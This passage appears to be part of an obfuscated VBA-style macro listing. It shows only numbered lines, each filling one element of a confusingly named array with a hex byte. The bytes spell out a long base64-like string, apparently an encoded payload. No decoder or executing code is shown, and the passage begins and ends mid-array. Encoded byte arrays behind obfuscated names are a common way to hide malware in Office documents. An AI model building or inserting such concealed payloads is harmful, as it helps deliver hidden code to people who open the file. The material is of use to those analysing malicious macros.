82	ljLLJJLJjjjjJijI(1583) = &H43
82	ljLLJJLJjjjjJijI(1584) = &H42
82	ljLLJJLJjjjjJijI(1585) = &H7A
82	ljLLJJLJjjjjJijI(1586) = &H61
82	ljLLJJLJjjjjJijI(1587) = &H57
82	ljLLJJLJjjjjJijI(1588) = &H49
82	ljLLJJLJjjjjJijI(1589) = &H67
82	ljLLJJLJjjjjJijI(1590) = &H64
82	ljLLJJLJjjjjJijI(1591) = &H47
82	ljLLJJLJjjjjJijI(1592) = &H35
82	ljLLJJLJjjjjJijI(1593) = &H76
82	ljLLJJLJjjjjJijI(1594) = &H5A
82	ljLLJJLJjjjjJijI(1595) = &H41
82	ljLLJJLJjjjjJijI(1596) = &H70
82	ljLLJJLJjjjjJijI(1597) = &H69
82	ljLLJJLJjjjjJijI(1598) = &H5A
82	ljLLJJLJjjjjJijI(1599) = &H57
82	ljLLJJLJjjjjJijI(1600) = &H64
83	ljLLJJLJjjjjJijI(1601) = &H31
83	ljLLJJLJjjjjJijI(1602) = &H50
83	ljLLJJLJjjjjJijI(1603) = &H53
83	ljLLJJLJjjjjJijI(1604) = &H41
83	ljLLJJLJjjjjJijI(1605) = &H77
83	ljLLJJLJjjjjJijI(1606) = &H49
83	ljLLJJLJjjjjJijI(1607) = &H41
83	ljLLJJLJjjjjJijI(1608) = &H6F
83	ljLLJJLJjjjjJijI(1609) = &H4B
83	ljLLJJLJjjjjJijI(1610) = &H62
83	ljLLJJLJjjjjJijI(1611) = &H33
83	ljLLJJLJjjjjJijI(1612) = &H68
83	ljLLJJLJjjjjJijI(1613) = &H66
83	ljLLJJLJjjjjJijI(1614) = &H63
83	ljLLJJLJjjjjJijI(1615) = &H6D
83	ljLLJJLJjjjjJijI(1616) = &H56
83	ljLLJJLJjjjjJijI(1617) = &H72
83	ljLLJJLJjjjjJijI(1618) = &H58
83	ljLLJJLJjjjjJijI(1619) = &H33
83	ljLLJJLJjjjjJijI(1620) = &H6C
83	ljLLJJLJjjjjJijI(1621) = &H68
83	ljLLJJLJjjjjJijI(1622) = &H62
83	ljLLJJLJjjjjJijI(1623) = &H57
83	ljLLJJLJjjjjJijI(1624) = &H35
83	ljLLJJLJjjjjJijI(1625) = &H70
83	ljLLJJLJjjjjJijI(1626) = &H50
83	ljLLJJLJjjjjJijI(1627) = &H53
83	ljLLJJLJjjjjJijI(1628) = &H41
83	ljLLJJLJjjjjJijI(1629) = &H77
83	ljLLJJLJjjjjJijI(1630) = &H49
83	ljLLJJLJjjjjJijI(1631) = &H45
83	ljLLJJLJjjjjJijI(1632) = &H46
84	ljLLJJLJjjjjJijI(1633) = &H34
84	ljLLJJLJjjjjJijI(1634) = &H43
84	ljLLJJLJjjjjJijI(1635) = &H6B
84	ljLLJJLJjjjjJijI(1636) = &H4A
84	ljLLJJLJjjjjJijI(1637) = &H76
84	ljLLJJLJjjjjJijI(1638) = &H65
84	ljLLJJLJjjjjJijI(1639) = &H46
84	ljLLJJLJjjjjJijI(1640) = &H39
84	ljLLJJLJjjjjJijI(1641) = &H79
84	ljLLJJLJjjjjJijI(1642) = &H5A
84	ljLLJJLJjjjjJijI(1643) = &H57
84	ljLLJJLJjjjjJijI(1644) = &H74
84	ljLLJJLJjjjjJijI(1645) = &H66
84	ljLLJJLJjjjjJijI(1646) = &H65
84	ljLLJJLJjjjjJijI(1647) = &H57
84	ljLLJJLJjjjjJijI(1648) = &H46
84	ljLLJJLJjjjjJijI(1649) = &H77
84	ljLLJJLJjjjjJijI(1650) = &H62
84	ljLLJJLJjjjjJijI(1651) = &H48
84	ljLLJJLJjjjjJijI(1652) = &H6C
84	ljLLJJLJjjjjJijI(1653) = &H68
84	ljLLJJLJjjjjJijI(1654) = &H62
84	ljLLJJLJjjjjJijI(1655) = &H79
84	ljLLJJLJjjjjJijI(1656) = &H42
84	ljLLJJLJjjjjJijI(1657) = &H6B
84	ljLLJJLJjjjjJijI(1658) = &H49
84	ljLLJJLJjjjjJijI(1659) = &H44
84	ljLLJJLJjjjjJijI(1660) = &H31
84	ljLLJJLJjjjjJijI(1661) = &H34
84	ljLLJJLJjjjjJijI(1662) = &H4D
84	ljLLJJLJjjjjJijI(1663) = &H45
84	ljLLJJLJjjjjJijI(1664) = &H56
85	ljLLJJLJjjjjJijI(1665) = &H47
85	ljLLJJLJjjjjJijI(1666) = &H65
85	ljLLJJLJjjjjJijI(1667) = &H41
85	ljLLJJLJjjjjJijI(1668) = &H70
85	ljLLJJLJjjjjJijI(1669) = &H79
85	ljLLJJLJjjjjJijI(1670) = &H62
85	ljLLJJLJjjjjJijI(1671) = &H32
85	ljLLJJLJjjjjJijI(1672) = &H74
85	ljLLJJLJjjjjJijI(1673) = &H66
85	ljLLJJLJjjjjJijI(1674) = &H65
85	ljLLJJLJjjjjJijI(1675) = &H57
85	ljLLJJLJjjjjJijI(1676) = &H56
85	ljLLJJLJjjjjJijI(1677) = &H31
85	ljLLJJLJjjjjJijI(1678) = &H58
85	ljLLJJLJjjjjJijI(1679) = &H32
85	ljLLJJLJjjjjJijI(1680) = &H78
85	ljLLJJLJjjjjJijI(1681) = &H79
85	ljLLJJLJjjjjJijI(1682) = &H50
85	ljLLJJLJjjjjJijI(1683) = &H53
85	ljLLJJLJjjjjJijI(1684) = &H41
85	ljLLJJLJjjjjJijI(1685) = &H77
85	ljLLJJLJjjjjJijI(1686) = &H49
85	ljLLJJLJjjjjJijI(1687) = &H45
85	ljLLJJLJjjjjJijI(1688) = &H4E
85	ljLLJJLJjjjjJijI(1689) = &H34
85	ljLLJJLJjjjjJijI(1690) = &H43
85	ljLLJJLJjjjjJijI(1691) = &H6B
85	ljLLJJLJjjjjJijI(1692) = &H56
85	ljLLJJLJjjjjJijI(1693) = &H6C
85	ljLLJJLJjjjjJijI(1694) = &H63
85	ljLLJJLJjjjjJijI(1695) = &H32
85	ljLLJJLJjjjjJijI(1696) = &H39
86	ljLLJJLJjjjjJijI(1697) = &H6A
86	ljLLJJLJjjjjJijI(1698) = &H5A
86	ljLLJJLJjjjjJijI(1699) = &H47
86	ljLLJJLJjjjjJijI(1700) = &H35
86	ljLLJJLJjjjjJijI(1701) = &H7A
86	ljLLJJLJjjjjJijI(1702) = &H58
86	ljLLJJLJjjjjJijI(1703) = &H32
86	ljLLJJLJjjjjJijI(1704) = &H46
86	ljLLJJLJjjjjJijI(1705) = &H30
86	ljLLJJLJjjjjJijI(1706) = &H5A
86	ljLLJJLJjjjjJijI(1707) = &H57
86	ljLLJJLJjjjjJijI(1708) = &H64
86	ljLLJJLJjjjjJijI(1709) = &H34
86	ljLLJJLJjjjjJijI(1710) = &H58
86	ljLLJJLJjjjjJijI(1711) = &H33
86	ljLLJJLJjjjjJijI(1712) = &H4A
86	ljLLJJLJjjjjJijI(1713) = &H76
86	ljLLJJLJjjjjJijI(1714) = &H61
86	ljLLJJLJjjjjJijI(1715) = &H31
86	ljLLJJLJjjjjJijI(1716) = &H39
86	ljLLJJLJjjjjJijI(1717) = &H35
86	ljLLJJLJjjjjJijI(1718) = &H5A
86	ljLLJJLJjjjjJijI(1719) = &H54
86	ljLLJJLJjjjjJijI(1720) = &H30
86	ljLLJJLJjjjjJijI(1721) = &H67
86	ljLLJJLJjjjjJijI(1722) = &H4D
86	ljLLJJLJjjjjJijI(1723) = &H43
86	ljLLJJLJjjjjJijI(1724) = &H41
86	ljLLJJLJjjjjJijI(1725) = &H79
86	ljLLJJLJjjjjJijI(1726) = &H65
86	ljLLJJLJjjjjJijI(1727) = &H41
86	ljLLJJLJjjjjJijI(1728) = &H6F
87	ljLLJJLJjjjjJijI(1729) = &H32
87	ljLLJJLJjjjjJijI(1730) = &H5A
87	ljLLJJLJjjjjJijI(1731) = &H58
87	ljLLJJLJjjjjJijI(1732) = &H4E
87	ljLLJJLJjjjjJijI(1733) = &H76
87	ljLLJJLJjjjjJijI(1734) = &H59
87	ljLLJJLJjjjjJijI(1735) = &H32
87	ljLLJJLJjjjjJijI(1736) = &H52
87	ljLLJJLJjjjjJijI(1737) = &H75
87	ljLLJJLJjjjjJijI(1738) = &H63
87	ljLLJJLJjjjjJijI(1739) = &H31
87	ljLLJJLJjjjjJijI(1740) = &H39
87	ljLLJJLJjjjjJijI(1741) = &H68
87	ljLLJJLJjjjjJijI(1742) = &H64
87	ljLLJJLJjjjjJijI(1743) = &H47
87	ljLLJJLJjjjjJijI(1744) = &H56
87	ljLLJJLJjjjjJijI(1745) = &H6E
87	ljLLJJLJjjjjJijI(1746) = &H5A
87	ljLLJJLJjjjjJijI(1747) = &H56
87	ljLLJJLJjjjjJijI(1748) = &H39
87	ljLLJJLJjjjjJijI(1749) = &H6B
87	ljLLJJLJjjjjJijI(1750) = &H62
87	ljLLJJLJjjjjJijI(1751) = &H6E
87	ljLLJJLJjjjjJijI(1752) = &H52
87	ljLLJJLJjjjjJijI(1753) = &H66
87	ljLLJJLJjjjjJijI(1754) = &H5A
87	ljLLJJLJjjjjJijI(1755) = &H32
87	ljLLJJLJjjjjJijI(1756) = &H45
87	ljLLJJLJjjjjJijI(1757) = &H39
87	ljLLJJLJjjjjJijI(1758) = &H49
87	ljLLJJLJjjjjJijI(1759) = &H44
87	ljLLJJLJjjjjJijI(1760) = &H41
88	ljLLJJLJjjjjJijI(1761) = &H67
88	ljLLJJLJjjjjJijI(1762) = &H4D
88	ljLLJJLJjjjjJijI(1763) = &H33
88	ljLLJJLJjjjjJijI(1764) = &H68
88	ljLLJJLJjjjjJijI(1765) = &H6B
88	ljLLJJLJjjjjJijI(1766) = &H4F
88	ljLLJJLJjjjjJijI(1767) = &H44
88	ljLLJJLJjjjjJijI(1768) = &H59
88	ljLLJJLJjjjjJijI(1769) = &H35
88	ljLLJJLJjjjjJijI(1770) = &H4E
88	ljLLJJLJjjjjJijI(1771) = &H57
88	ljLLJJLJjjjjJijI(1772) = &H45
88	ljLLJJLJjjjjJijI(1773) = &H4B
88	ljLLJJLJjjjjJijI(1774) = &H43
88	ljLLJJLJjjjjJijI(1775) = &H67
88	ljLLJJLJjjjjJijI(1776) = &H6F
88	ljLLJJLJjjjjJijI(1777) = &H4B
88	ljLLJJLJjjjjJijI(1778) = &H62
88	ljLLJJLJjjjjJijI(1779) = &H33
88	ljLLJJLJjjjjJijI(1780) = &H4E
88	ljLLJJLJjjjjJijI(1781) = &H6F
88	ljLLJJLJjjjjJijI(1782) = &H63
88	ljLLJJLJjjjjJijI(1783) = &H48
88	ljLLJJLJjjjjJijI(1784) = &H4E
88	ljLLJJLJjjjjJijI(1785) = &H76
88	ljLLJJLJjjjjJijI(1786) = &H5A
88	ljLLJJLJjjjjJijI(1787) = &H56
88	ljLLJJLJjjjjJijI(1788) = &H39
88	ljLLJJLJjjjjJijI(1789) = &H77
88	ljLLJJLJjjjjJijI(1790) = &H65
88	ljLLJJLJjjjjJijI(1791) = &H48
88	ljLLJJLJjjjjJijI(1792) = &H4A
89	ljLLJJLJjjjjJijI(1793) = &H70
89	ljLLJJLJjjjjJijI(1794) = &H58
89	ljLLJJLJjjjjJijI(1795) = &H33
89	ljLLJJLJjjjjJijI(1796) = &H6C
89	ljLLJJLJjjjjJijI(1797) = &H6C
89	ljLLJJLJjjjjJijI(1798) = &H65
89	ljLLJJLJjjjjJijI(1799) = &H58
89	ljLLJJLJjjjjJijI(1800) = &H4A
89	ljLLJJLJjjjjJijI(1801) = &H68
89	ljLLJJLJjjjjJijI(1802) = &H5A
89	ljLLJJLJjjjjJijI(1803) = &H46
89	ljLLJJLJjjjjJijI(1804) = &H39
89	ljLLJJLJjjjjJijI(1805) = &H30
89	ljLLJJLJjjjjJijI(1806) = &H59
89	ljLLJJLJjjjjJijI(1807) = &H53
89	ljLLJJLJjjjjJijI(1808) = &H42
89	ljLLJJLJjjjjJijI(1809) = &H6C
89	ljLLJJLJjjjjJijI(1810) = &H49
89	ljLLJJLJjjjjJijI(1811) = &H44
89	ljLLJJLJjjjjJijI(1812) = &H30
89	ljLLJJLJjjjjJijI(1813) = &H4B
89	ljLLJJLJjjjjJijI(1814) = &H4D
89	ljLLJJLJjjjjJijI(1815) = &H48
89	ljLLJJLJjjjjJijI(1816) = &H5A
89	ljLLJJLJjjjjJijI(1817) = &H68
89	ljLLJJLJjjjjJijI(1818) = &H63
89	ljLLJJLJjjjjJijI(1819) = &H32
89	ljLLJJLJjjjjJijI(1820) = &H46
89	ljLLJJLJjjjjJijI(1821) = &H66
89	ljLLJJLJjjjjJijI(1822) = &H64
89	ljLLJJLJjjjjJijI(1823) = &H48
89	ljLLJJLJjjjjJijI(1824) = &H68
90	ljLLJJLJjjjjJijI(1825) = &H6C
90	ljLLJJLJjjjjJijI(1826) = &H61
90	ljLLJJLJjjjjJijI(1827) = &H58
90	ljLLJJLJjjjjJijI(1828) = &H42
90	ljLLJJLJjjjjJijI(1829) = &H35
90	ljLLJJLJjjjjJijI(1830) = &H63
90	ljLLJJLJjjjjJijI(1831) = &H6E
90	ljLLJJLJjjjjJijI(1832) = &H6C
90	ljLLJJLJjjjjJijI(1833) = &H66
90	ljLLJJLJjjjjJijI(1834) = &H59
90	ljLLJJLJjjjjJijI(1835) = &H57
90	ljLLJJLJjjjjJijI(1836) = &H56
90	ljLLJJLJjjjjJijI(1837) = &H66
90	ljLLJJLJjjjjJijI(1838) = &H63
90	ljLLJJLJjjjjJijI(1839) = &H6D
90	ljLLJJLJjjjjJijI(1840) = &H46
90	ljLLJJLJjjjjJijI(1841) = &H6B
90	ljLLJJLJjjjjJijI(1842) = &H5A
90	ljLLJJLJjjjjJijI(1843) = &H58
90	ljLLJJLJjjjjJijI(1844) = &H51
90	ljLLJJLJjjjjJijI(1845) = &H39
90	ljLLJJLJjjjjJijI(1846) = &H49
90	ljLLJJLJjjjjJijI(1847) = &H44
90	ljLLJJLJjjjjJijI(1848) = &H41
90	ljLLJJLJjjjjJijI(1849) = &H67
90	ljLLJJLJjjjjJijI(1850) = &H4E
90	ljLLJJLJjjjjJijI(1851) = &H33
90	ljLLJJLJjjjjJijI(1852) = &H67
90	ljLLJJLJjjjjJijI(1853) = &H32
90	ljLLJJLJjjjjJijI(1854) = &H5A
90	ljLLJJLJjjjjJijI(1855) = &H54
90	ljLLJJLJjjjjJijI(1856) = &H6B
91	ljLLJJLJjjjjJijI(1857) = &H77
91	ljLLJJLJjjjjJijI(1858) = &H4F
91	ljLLJJLJjjjjJijI(1859) = &H54
91	ljLLJJLJjjjjJijI(1860) = &H46
91	ljLLJJLJjjjjJijI(1861) = &H74
91	ljLLJJLJjjjjJijI(1862) = &H43
91	ljLLJJLJjjjjJijI(1863) = &H6D
91	ljLLJJLJjjjjJijI(1864) = &H46
91	ljLLJJLJjjjjJijI(1865) = &H6A
91	ljLLJJLJjjjjJijI(1866) = &H5A
91	ljLLJJLJjjjjJijI(1867) = &H57
91	ljLLJJLJjjjjJijI(1868) = &H5A
91	ljLLJJLJjjjjJijI(1869) = &H66
91	ljLLJJLJjjjjJijI(1870) = &H5A
91	ljLLJJLJjjjjJijI(1871) = &H58
91	ljLLJJLJjjjjJijI(1872) = &H68
91	ljLLJJLJjjjjJijI(1873) = &H6C
91	ljLLJJLJjjjjJijI(1874) = &H61
91	ljLLJJLJjjjjJijI(1875) = &H58
91	ljLLJJLJjjjjJijI(1876) = &H42
91	ljLLJJLJjjjjJijI(1877) = &H35
91	ljLLJJLJjjjjJijI(1878) = &H63
91	ljLLJJLJjjjjJijI(1879) = &H6E
91	ljLLJJLJjjjjJijI(1880) = &H6C
91	ljLLJJLJjjjjJijI(1881) = &H66
91	ljLLJJLJjjjjJijI(1882) = &H59
91	ljLLJJLJjjjjJijI(1883) = &H57
91	ljLLJJLJjjjjJijI(1884) = &H56
91	ljLLJJLJjjjjJijI(1885) = &H66
91	ljLLJJLJjjjjJijI(1886) = &H63
91	ljLLJJLJjjjjJijI(1887) = &H6D
91	ljLLJJLJjjjjJijI(1888) = &H46
92	ljLLJJLJjjjjJijI(1889) = &H6B
92	ljLLJJLJjjjjJijI(1890) = &H5A
92	ljLLJJLJjjjjJijI(1891) = &H58
92	ljLLJJLJjjjjJijI(1892) = &H51
92	ljLLJJLJjjjjJijI(1893) = &H39
92	ljLLJJLJjjjjJijI(1894) = &H49
92	ljLLJJLJjjjjJijI(1895) = &H44
92	ljLLJJLJjjjjJijI(1896) = &H41
92	ljLLJJLJjjjjJijI(1897) = &H67
92	ljLLJJLJjjjjJijI(1898) = &H59
92	ljLLJJLJjjjjJijI(1899) = &H51
92	ljLLJJLJjjjjJijI(1900) = &H70
92	ljLLJJLJjjjjJijI(1901) = &H6E
92	ljLLJJLJjjjjJijI(1902) = &H64
92	ljLLJJLJjjjjJijI(1903) = &H6D
92	ljLLJJLJjjjjJijI(1904) = &H56
92	ljLLJJLJjjjjJijI(1905) = &H66
92	ljLLJJLJjjjjJijI(1906) = &H63
92	ljLLJJLJjjjjJijI(1907) = &H48
92	ljLLJJLJjjjjJijI(1908) = &H68
92	ljLLJJLJjjjjJijI(1909) = &H79
92	ljLLJJLJjjjjJijI(1910) = &H61
92	ljLLJJLJjjjjJijI(1911) = &H56
92	ljLLJJLJjjjjJijI(1912) = &H39
92	ljLLJJLJjjjjJijI(1913) = &H35
92	ljLLJJLJjjjjJijI(1914) = &H5A
92	ljLLJJLJjjjjJijI(1915) = &H58
92	ljLLJJLJjjjjJijI(1916) = &H6C
92	ljLLJJLJjjjjJijI(1917) = &H79
92	ljLLJJLJjjjjJijI(1918) = &H59
92	ljLLJJLJjjjjJijI(1919) = &H57
92	ljLLJJLJjjjjJijI(1920) = &H52
93	ljLLJJLJjjjjJijI(1921) = &H66
93	ljLLJJLJjjjjJijI(1922) = &H64
93	ljLLJJLJjjjjJijI(1923) = &H47
93	ljLLJJLJjjjjJijI(1924) = &H45
93	ljLLJJLJjjjjJijI(1925) = &H67
93	ljLLJJLJjjjjJijI(1926) = &H5A
93	ljLLJJLJjjjjJijI(1927) = &H53
93	ljLLJJLJjjjjJijI(1928) = &H41
93	ljLLJJLJjjjjJijI(1929) = &H39
93	ljLLJJLJjjjjJijI(1930) = &H43
93	ljLLJJLJjjjjJijI(1931) = &H6A
93	ljLLJJLJjjjjJijI(1932) = &H42
93	ljLLJJLJjjjjJijI(1933) = &H76
93	ljLLJJLJjjjjJijI(1934) = &H62
93	ljLLJJLJjjjjJijI(1935) = &H6E
93	ljLLJJLJjjjjJijI(1936) = &H52
93	ljLLJJLJjjjjJijI(1937) = &H79
93	ljLLJJLJjjjjJijI(1938) = &H62
93	ljLLJJLJjjjjJijI(1939) = &H6D
93	ljLLJJLJjjjjJijI(1940) = &H39
93	ljLLJJLJjjjjJijI(1941) = &H6C
93	ljLLJJLJjjjjJijI(1942) = &H58
93	ljLLJJLJjjjjJijI(1943) = &H33
93	ljLLJJLJjjjjJijI(1944) = &H42
93	ljLLJJLJjjjjJijI(1945) = &H34
93	ljLLJJLJjjjjJijI(1946) = &H63
93	ljLLJJLJjjjjJijI(1947) = &H6D
93	ljLLJJLJjjjjJijI(1948) = &H6C
93	ljLLJJLJjjjjJijI(1949) = &H66
93	ljLLJJLJjjjjJijI(1950) = &H65
93	ljLLJJLJjjjjJijI(1951) = &H57
93	ljLLJJLJjjjjJijI(1952) = &H56
94	ljLLJJLJjjjjJijI(1953) = &H35
94	ljLLJJLJjjjjJijI(1954) = &H63
94	ljLLJJLJjjjjJijI(1955) = &H6D
94	ljLLJJLJjjjjJijI(1956) = &H46
94	ljLLJJLJjjjjJijI(1957) = &H6B
94	ljLLJJLJjjjjJijI(1958) = &H58
94	ljLLJJLJjjjjJijI(1959) = &H33
94	ljLLJJLJjjjjJijI(1960) = &H52
94	ljLLJJLJjjjjJijI(1961) = &H68
94	ljLLJJLJjjjjJijI(1962) = &H49
94	ljLLJJLJjjjjJijI(1963) = &H47
94	ljLLJJLJjjjjJijI(1964) = &H55
94	ljLLJJLJjjjjJijI(1965) = &H67
94	ljLLJJLJjjjjJijI(1966) = &H50
94	ljLLJJLJjjjjJijI(1967) = &H51
94	ljLLJJLJjjjjJijI(1968) = &H6F
94	ljLLJJLJjjjjJijI(1969) = &H77
94	ljLLJJLJjjjjJijI(1970) = &H61
94	ljLLJJLJjjjjJijI(1971) = &H57
94	ljLLJJLJjjjjJijI(1972) = &H4A
94	ljLLJJLJjjjjJijI(1973) = &H6B
94	ljLLJJLJjjjjJijI(1974) = &H64
94	ljLLJJLJjjjjJijI(1975) = &H47
94	ljLLJJLJjjjjJijI(1976) = &H5A
94	ljLLJJLJjjjjJijI(1977) = &H6C
94	ljLLJJLJjjjjJijI(1978) = &H62
94	ljLLJJLJjjjjJijI(1979) = &H6D
94	ljLLJJLJjjjjJijI(1980) = &H56
94	ljLLJJLJjjjjJijI(1981) = &H6C
94	ljLLJJLJjjjjJijI(1982) = &H5A
94	ljLLJJLJjjjjJijI(1983) = &H46
94	ljLLJJLJjjjjJijI(1984) = &H39
95	ljLLJJLJjjjjJijI(1985) = &H79
95	ljLLJJLJjjjjJijI(1986) = &H65
95	ljLLJJLJjjjjJijI(1987) = &H47
95	ljLLJJLJjjjjJijI(1988) = &H56
95	ljLLJJLJjjjjJijI(1989) = &H70
95	ljLLJJLJjjjjJijI(1990) = &H63
95	ljLLJJLJjjjjJijI(1991) = &H48
95	ljLLJJLJjjjjJijI(1992) = &H6C
95	ljLLJJLJjjjjJijI(1993) = &H79
95	ljLLJJLJjjjjJijI(1994) = &H65
95	ljLLJJLJjjjjJijI(1995) = &H56
95	ljLLJJLJjjjjJijI(1996) = &H39
95	ljLLJJLJjjjjJijI(1997) = &H68
95	ljLLJJLJjjjjJijI(1998) = &H5A
95	ljLLJJLJjjjjJijI(1999) = &H56
95	ljLLJJLJjjjjJijI(2000) = &H39
95	ljLLJJLJjjjjJijI(2001) = &H79
95	ljLLJJLJjjjjJijI(2002) = &H59
95	ljLLJJLJjjjjJijI(2003) = &H57
95	ljLLJJLJjjjjJijI(2004) = &H52
95	ljLLJJLJjjjjJijI(2005) = &H6C
95	ljLLJJLJjjjjJijI(2006) = &H64
95	ljLLJJLJjjjjJijI(2007) = &H44
95	ljLLJJLJjjjjJijI(2008) = &H30
95	ljLLJJLJjjjjJijI(2009) = &H67
95	ljLLJJLJjjjjJijI(2010) = &H4D
95	ljLLJJLJjjjjJijI(2011) = &H43
95	ljLLJJLJjjjjJijI(2012) = &H41
95	ljLLJJLJjjjjJijI(2013) = &H33
95	ljLLJJLJjjjjJijI(2014) = &H65
95	ljLLJJLJjjjjJijI(2015) = &H44
95	ljLLJJLJjjjjJijI(2016) = &H5A
96	ljLLJJLJjjjjJijI(2017) = &H6C
96	ljLLJJLJjjjjJijI(2018) = &H59
96	ljLLJJLJjjjjJijI(2019) = &H54
96	ljLLJJLJjjjjJijI(2020) = &H41
96	ljLLJJLJjjjjJijI(2021) = &H78
96	ljLLJJLJjjjjJijI(2022) = &H4D
96	ljLLJJLJjjjjJijI(2023) = &H47
96	ljLLJJLJjjjjJijI(2024) = &H55
96	ljLLJJLJjjjjJijI(2025) = &H4B
96	ljLLJJLJjjjjJijI(2026) = &H5A
96	ljLLJJLJjjjjJijI(2027) = &H58
96	ljLLJJLJjjjjJijI(2028) = &H4E
96	ljLLJJLJjjjjJijI(2029) = &H66
96	ljLLJJLJjjjjJijI(2030) = &H64
96	ljLLJJLJjjjjJijI(2031) = &H48
96	ljLLJJLJjjjjJijI(2032) = &H68
96	ljLLJJLJjjjjJijI(2033) = &H6C
96	ljLLJJLJjjjjJijI(2034) = &H61
96	ljLLJJLJjjjjJijI(2035) = &H58
96	ljLLJJLJjjjjJijI(2036) = &H42
96	ljLLJJLJjjjjJijI(2037) = &H35
96	ljLLJJLJjjjjJijI(2038) = &H63
96	ljLLJJLJjjjjJijI(2039) = &H6E
96	ljLLJJLJjjjjJijI(2040) = &H6C
96	ljLLJJLJjjjjJijI(2041) = &H66
96	ljLLJJLJjjjjJijI(2042) = &H59
96	ljLLJJLJjjjjJijI(2043) = &H57
96	ljLLJJLJjjjjJijI(2044) = &H56
96	ljLLJJLJjjjjJijI(2045) = &H66
96	ljLLJJLJjjjjJijI(2046) = &H63
96	ljLLJJLJjjjjJijI(2047) = &H6D
96	ljLLJJLJjjjjJijI(2048) = &H46
97	ljLLJJLJjjjjJijI(2049) = &H6B
97	ljLLJJLJjjjjJijI(2050) = &H5A
97	ljLLJJLJjjjjJijI(2051) = &H58
97	ljLLJJLJjjjjJijI(2052) = &H51
97	ljLLJJLJjjjjJijI(2053) = &H39
97	ljLLJJLJjjjjJijI(2054) = &H49
97	ljLLJJLJjjjjJijI(2055) = &H44
97	ljLLJJLJjjjjJijI(2056) = &H41
97	ljLLJJLJjjjjJijI(2057) = &H67
97	ljLLJJLJjjjjJijI(2058) = &H4E
97	ljLLJJLJjjjjJijI(2059) = &H33
97	ljLLJJLJjjjjJijI(2060) = &H67
97	ljLLJJLJjjjjJijI(2061) = &H32
97	ljLLJJLJjjjjJijI(2062) = &H5A
97	ljLLJJLJjjjjJijI(2063) = &H54
97	ljLLJJLJjjjjJijI(2064) = &H6B
97	ljLLJJLJjjjjJijI(2065) = &H77
97	ljLLJJLJjjjjJijI(2066) = &H59
97	ljLLJJLJjjjjJijI(2067) = &H7A
97	ljLLJJLJjjjjJijI(2068) = &H46
97	ljLLJJLJjjjjJijI(2069) = &H78
97	ljLLJJLJjjjjJijI(2070) = &H43
97	ljLLJJLJjjjjJijI(2071) = &H6D
97	ljLLJJLJjjjjJijI(2072) = &H6C
97	ljLLJJLJjjjjJijI(2073) = &H31
97	ljLLJJLJjjjjJijI(2074) = &H61
97	ljLLJJLJjjjjJijI(2075) = &H32
97	ljLLJJLJjjjjJijI(2076) = &H4E
97	ljLLJJLJjjjjJijI(2077) = &H6C
97	ljLLJJLJjjjjJijI(2078) = &H61
97	ljLLJJLJjjjjJijI(2079) = &H47
97	ljLLJJLJjjjjJijI(2080) = &H78
98	ljLLJJLJjjjjJijI(2081) = &H68
98	ljLLJJLJjjjjJijI(2082) = &H5A
98	ljLLJJLJjjjjJijI(2083) = &H56
98	ljLLJJLJjjjjJijI(2084) = &H39
98	ljLLJJLJjjjjJijI(2085) = &H77
98	ljLLJJLJjjjjJijI(2086) = &H65
98	ljLLJJLJjjjjJijI(2087) = &H48
98	ljLLJJLJjjjjJijI(2088) = &H4A
98	ljLLJJLJjjjjJijI(2089) = &H70
98	ljLLJJLJjjjjJijI(2090) = &H58
98	ljLLJJLJjjjjJijI(2091) = &H33
98	ljLLJJLJjjjjJijI(2092) = &H6C
98	ljLLJJLJjjjjJijI(2093) = &H6C
98	ljLLJJLJjjjjJijI(2094) = &H65
98	ljLLJJLJjjjjJijI(2095) = &H58
98	ljLLJJLJjjjjJijI(2096) = &H4A
98	ljLLJJLJjjjjJijI(2097) = &H68
98	ljLLJJLJjjjjJijI(2098) = &H5A
98	ljLLJJLJjjjjJijI(2099) = &H46
98	ljLLJJLJjjjjJijI(2100) = &H39
98	ljLLJJLJjjjjJijI(2101) = &H30
98	ljLLJJLJjjjjJijI(2102) = &H59
98	ljLLJJLJjjjjJijI(2103) = &H53
98	ljLLJJLJjjjjJijI(2104) = &H42
98	ljLLJJLJjjjjJijI(2105) = &H6C
98	ljLLJJLJjjjjJijI(2106) = &H49
98	ljLLJJLJjjjjJijI(2107) = &H44
98	ljLLJJLJjjjjJijI(2108) = &H31
98	ljLLJJLJjjjjJijI(2109) = &H34
98	ljLLJJLJjjjjJijI(2110) = &H4D
98	ljLLJJLJjjjjJijI(2111) = &H47
98	ljLLJJLJjjjjJijI(2112) = &H55
99	ljLLJJLJjjjjJijI(2113) = &H33
99	ljLLJJLJjjjjJijI(2114) = &H4D
99	ljLLJJLJjjjjJijI(2115) = &H44
99	ljLLJJLJjjjjJijI(2116) = &H59
99	ljLLJJLJjjjjJijI(2117) = &H77
99	ljLLJJLJjjjjJijI(2118) = &H59
99	ljLLJJLJjjjjJijI(2119) = &H51
99	ljLLJJLJjjjjJijI(2120) = &H6F
99	ljLLJJLJjjjjJijI(2121) = &H32
99	ljLLJJLJjjjjJijI(2122) = &H64
99	ljLLJJLJjjjjJijI(2123) = &H6D
99	ljLLJJLJjjjjJijI(2124) = &H46
99	ljLLJJLJjjjjJijI(2125) = &H79
99	ljLLJJLJjjjjJijI(2126) = &H61
99	ljLLJJLJjjjjJijI(2127) = &H56
99	ljLLJJLJjjjjJijI(2128) = &H39
99	ljLLJJLJjjjjJijI(2129) = &H68
99	ljLLJJLJjjjjJijI(2130) = &H65
99	ljLLJJLJjjjjJijI(2131) = &H47
99	ljLLJJLJjjjjJijI(2132) = &H56
99	ljLLJJLJjjjjJijI(2133) = &H70
99	ljLLJJLJjjjjJijI(2134) = &H63
99	ljLLJJLJjjjjJijI(2135) = &H48
99	ljLLJJLJjjjjJijI(2136) = &H6C
99	ljLLJJLJjjjjJijI(2137) = &H79
99	ljLLJJLJjjjjJijI(2138) = &H65
99	ljLLJJLJjjjjJijI(2139) = &H56
99	ljLLJJLJjjjjJijI(2140) = &H39
99	ljLLJJLJjjjjJijI(2141) = &H68
99	ljLLJJLJjjjjJijI(2142) = &H5A
99	ljLLJJLJjjjjJijI(2143) = &H56
99	ljLLJJLJjjjjJijI(2144) = &H39
100	ljLLJJLJjjjjJijI(2145) = &H79
100	ljLLJJLJjjjjJijI(2146) = &H59
100	ljLLJJLJjjjjJijI(2147) = &H57
100	ljLLJJLJjjjjJijI(2148) = &H52
100	ljLLJJLJjjjjJijI(2149) = &H6C
100	ljLLJJLJjjjjJijI(2150) = &H64
100	ljLLJJLJjjjjJijI(2151) = &H44
100	ljLLJJLJjjjjJijI(2152) = &H30
100	ljLLJJLJjjjjJijI(2153) = &H67
